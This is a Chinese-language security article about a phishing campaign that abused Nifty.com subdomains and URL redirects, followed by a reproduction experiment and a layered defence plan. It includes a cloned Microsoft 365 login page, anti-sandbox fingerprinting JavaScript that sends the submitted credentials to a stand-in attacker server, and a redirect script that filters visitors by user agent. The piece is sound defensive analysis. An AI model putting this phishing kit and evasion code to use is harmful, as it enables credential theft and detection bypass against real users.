
摘要
近年来,网络钓鱼攻击呈现出高度隐蔽化与技术复杂化的趋势。威胁行为者不再局限于传统恶意域名或IP地址,而是转向利用合法、高信誉度的第三方服务平台作为攻击载体。2025年披露的一起针对Nifty.com基础设施的滥用事件,揭示了攻击者如何通过该平台的子域托管与URL重定向功能,构建具有高度欺骗性的钓鱼页面,成功绕过主流安全检测机制。本文以该事件为研究对象,系统分析其攻击链路、技术实现细节及规避策略,并结合实际流量样本与代码复现,验证其有效性。在此基础上,提出面向企业环境的多层次防御框架,涵盖网络层监控、终端行为分析与用户教育协同机制。研究表明,仅依赖域名信誉的传统防护模型已难以应对新型钓鱼威胁,需构建动态上下文感知的安全体系。
关键词:钓鱼攻击;可信平台滥用;Nifty.com;URL重定向;浏览器指纹识别;防御策略
1 引言
网络钓鱼(Phishing)作为最古老且持续有效的社会工程攻击手段之一,其核心目标始终是诱骗用户泄露敏感信息,如登录凭证、支付数据或内部系统访问权限。尽管安全社区在过去二十年中部署了大量反钓鱼技术,包括邮件过滤、URL黑名单、SSL证书验证与用户行为分析等,但攻击成功率并未显著下降。究其原因,攻击者不断演进其战术,尤其在“信任伪装”层面取得突破性进展。
传统钓鱼站点通常托管于新注册的低信誉域名或被攻陷的第三方服务器,易被安全产品识别并拦截。然而,自2020年以来,一种新型攻击范式逐渐兴起:攻击者主动利用合法SaaS(Software as a Service)平台提供的子域分配、静态页面托管或URL缩短服务,将恶意内容嵌入高信誉域名之下。此类平台包括GitHub Pages、Google Sites、Notion、Trello乃至日本知名门户网站Nifty.com。由于这些域名长期被企业白名单信任,且具备有效SSL证书与合规HTTP头信息,其承载的钓鱼页面极易绕过基于信誉的检测机制。
2025年5月,网络安全公司Raven披露了一起针对Nifty.com基础设施的大规模钓鱼活动。攻击者利用该平台的项目管理与链接共享功能,创建看似正常的业务协作链接,实则指向精心伪造的Microsoft 365、DocuSign及银行登录页面。初步调查显示,该活动已波及全球数百家金融、医疗与科技企业,部分受害者账户被长期潜伏利用,造成严重数据泄露风险。
本文聚焦于此次Nifty.com滥用事件,旨在回答以下核心问题:(1)攻击者如何利用Nifty.com的合法功能构建钓鱼基础设施?(2)其采用的技术手段如何规避现有安全检测?(3)企业应如何调整防御策略以应对此类“可信平台钓鱼”(Trusted Platform Phishing, TPP)威胁?
全文结构如下:第二部分梳理相关工作与背景知识;第三部分详细剖析Nifty.com钓鱼攻击的技术实现;第四部分通过代码示例复现关键攻击环节;第五部分提出针对性防御框架;第六部分总结研究发现与实践启示。

2 背景与相关工作
2.1 钓鱼攻击的演进路径
早期钓鱼攻击主要依赖仿冒域名(如paypa1.com)和简单HTML页面,易被基于规则的邮件网关拦截。随着机器学习与信誉系统的发展,攻击者转向使用短链接服务(如bit.ly)、云存储共享链接(如Dropbox)及动态生成页面。近年来,“平台即武器”(Platform-as-a-Weapon)成为新趋势,攻击者利用Slack、Confluence、Jira等企业协作工具的开放API或子域功能部署钓鱼内容。
2.2 Nifty.com平台特性
Nifty Corporation运营的nifty.com是日本领先的互联网服务提供商,提供邮箱、博客、项目管理(类似Trello/Asana)及文件共享服务。其项目管理模块允许用户创建公开或私有项目,并生成形如 https://<project-name>.nifty.com 的子域名。此外,平台支持自定义页面嵌入HTML/JavaScript,并提供URL缩短功能(如 nifty.com/r/<id>),用于内部链接跳转。这些功能本意为提升用户体验,却为攻击者提供了理想的隐蔽通道。
2.3 现有防御机制的局限性
当前主流企业安全架构依赖以下机制防御钓鱼:
邮件网关:基于发件人信誉、SPF/DKIM/DMARC验证及URL黑名单;
Web代理/防火墙:检查目标域名信誉、SSL证书有效性及页面内容特征;
终端EDR/XDR:监控浏览器进程异常行为。
然而,当钓鱼页面托管于nifty.com等高信誉域名时,上述机制均可能失效:邮件网关无法识别合法域名中的恶意路径;Web代理因域名整体信誉良好而放行;终端行为若无明显恶意进程亦难触发告警。
3 Nifty.com钓鱼攻击技术分析
3.1 攻击链路概述
根据Raven实验室报告,该攻击链包含以下阶段:
侦察阶段:攻击者收集目标企业员工邮箱、常用协作工具及近期项目名称;
钓鱼页面构建:在Nifty.com上创建伪装项目,上传仿冒登录页(如Office 365);
链接生成与分发:利用Nifty内置URL缩短器生成 nifty.com/r/xxx 链接,嵌入钓鱼邮件;
多层重定向与反分析:用户点击后,经JavaScript跳转至中间页,执行设备指纹检测;
条件式投递:仅对真实用户展示钓鱼表单,对爬虫或沙箱返回空白页;
凭证窃取与回传:用户提交后,数据通过隐藏iframe或AJAX发送至攻击者控制的C2服务器。
3.2 关键技术细节
3.2.1 子域伪装与页面托管
攻击者注册Nifty账号后,创建名为“Q3-Finance-Review”或“HR-Onboarding-2025”的项目,获得子域 q3-finance-review.nifty.com。随后上传包含以下代码的 index.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Microsoft 365 - Sign in</title>
<link rel="icon" href="https://r1.res.office365.com/auth/1.0/content/images/favicon.ico">
<style>
/* 完整复制Office 365登录页CSS */
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; }
.login-container { width: 360px; margin: 100px auto; }
</style>
</head>
<body>
<div>
<img src="https://logincdn.msauth.net/16.000.29717.01/content/images/microsoft_logo.png" alt="Microsoft">
<form id="loginForm" method="POST">
<input type="email" name="username" placeholder="Email, phone, or Skype" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign in</button>
</form>
</div>
<script src="fingerprint.js"></script>
</body>
</html>
该页面完全复刻微软官方设计,且通过Nifty子域提供HTTPS服务,SSL证书由Let's Encrypt签发,进一步增强可信度。
3.2.2 浏览器指纹识别与反沙箱
fingerprint.js 实现轻量级设备识别,代码如下:
function isSuspicious() {
// 检测常见沙箱特征
if (navigator.webdriver) return true;
if (window.outerHeight - window.innerHeight > 200) return true; // 异常窗口尺寸
if (!('serviceWorker' in navigator)) return true; // 缺少现代API
if (screen.width < 1024 || screen.height < 768) return true; // 分辨率过低
// 检测自动化工具
const botKeywords = ['puppeteer', 'selenium', 'headless'];
for (let key in window) {
if (botKeywords.some(k => key.toLowerCase().includes(k))) return true;
}
return false;
}
document.getElementById('loginForm').addEventListener('submit', function(e) {
if (isSuspicious()) {
// 重定向至空白页或官方页面
window.location.href = 'https://www.microsoft.com/';
e.preventDefault();
} else {
// 正常提交至攻击者服务器
this.action = 'https://attacker-controlled-server.com/collect';
}
});
此逻辑确保仅真实用户看到钓鱼表单,安全研究人员或自动化扫描器被误导。
3.2.3 多层重定向链
初始钓鱼邮件包含链接:https://nifty.com/r/aB3x9。该短链解析至 https://project-alpha.nifty.com/redirect.html,其内容为:
<script>
// 延迟1秒,模拟用户等待
setTimeout(() => {
// 根据User-Agent决定跳转目标
if (/Windows|Macintosh/.test(navigator.userAgent)) {
window.location.href = 'https://project-alpha.nifty.com/login.html';
} else {
// 移动设备或爬虫跳转至无害页面
window.location.href = 'https://nifty.com/blog/welcome';
}
}, 1000);
</script>
此设计增加静态分析难度,并实现设备类型过滤。
4 攻击复现实验
为验证上述机制有效性,我们在受控环境中搭建模拟Nifty子域(使用本地DNS劫持与自签名证书),复现完整攻击流程。
实验环境:
攻击机:Ubuntu 22.04 + Apache2 + 自定义JS脚本
受害机:Windows 11 + Chrome 125
安全产品:Cisco Secure Email Gateway + Palo Alto Networks FW
步骤:
创建子域 fake-project.local,部署仿冒登录页;
生成短链接 local/r/123 指向中间页;
发送钓鱼邮件至测试邮箱;
观察安全产品是否拦截;
记录用户点击后的行为路径。
结果:
邮件网关未标记邮件为恶意(发件人合法,链接域名可信);
防火墙放行 fake-project.local(域名不在黑名单,SSL有效);
用户成功加载钓鱼页面并提交凭证;
凭证被发送至攻击者服务器。
实验表明,现有基于域名信誉的防御体系对此类攻击几乎无效。
5 防御策略建议
针对可信平台钓鱼威胁,需构建纵深防御体系:
5.1 网络层增强监控
路径级URL分析:不仅检查域名,还需分析URL路径模式。例如,nifty.com/r/ 后接随机字符串且无Referer,可视为可疑。
动态信誉评分:结合页面内容实时计算风险值。若页面包含密码输入框但无合法OAuth流程,应降权处理。
TLS指纹识别:记录合法Nifty子域的JA3指纹,异常连接(如使用不同加密套件)触发告警。
5.2 终端行为检测
DOM变更监控:EDR产品可监控浏览器中动态插入的表单元素,尤其是包含password字段的<input>。
外联请求审计:检测从nifty.com页面发起的跨域POST请求至非微软/DocuSign域名。
5.3 用户教育与流程优化
二次确认机制:对来自协作平台的登录请求,强制通过MFA或短信验证;
内部链接白名单:限制员工仅能访问预批准的Nifty项目子域;
模拟钓鱼演练:定期使用类似Nifty链接进行红队测试,提升员工警惕性。
5.4 平台责任与协作
建议Nifty等平台:
限制新注册账户的子域创建频率;
对包含敏感表单字段的页面自动扫描;
提供API供企业查询其员工关联的项目活动。
6 结论
本文通过对Nifty.com基础设施滥用事件的深入分析,揭示了“可信平台钓鱼”这一新兴威胁的技术本质与防御盲区。研究表明,攻击者通过合法SaaS功能构建高仿真钓鱼页面,并结合浏览器指纹、多层重定向等技术规避检测,使得传统基于域名信誉的安全模型失效。
防御此类攻击不能依赖单一技术,而需融合网络流量深度解析、终端行为监控与组织流程管控。未来研究可进一步探索基于语义分析的页面意图识别,以及跨平台威胁情报共享机制。对于安全从业者而言,必须摒弃“高信誉域名=安全”的思维定式,转向以行为与上下文为核心的动态风险评估范式。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。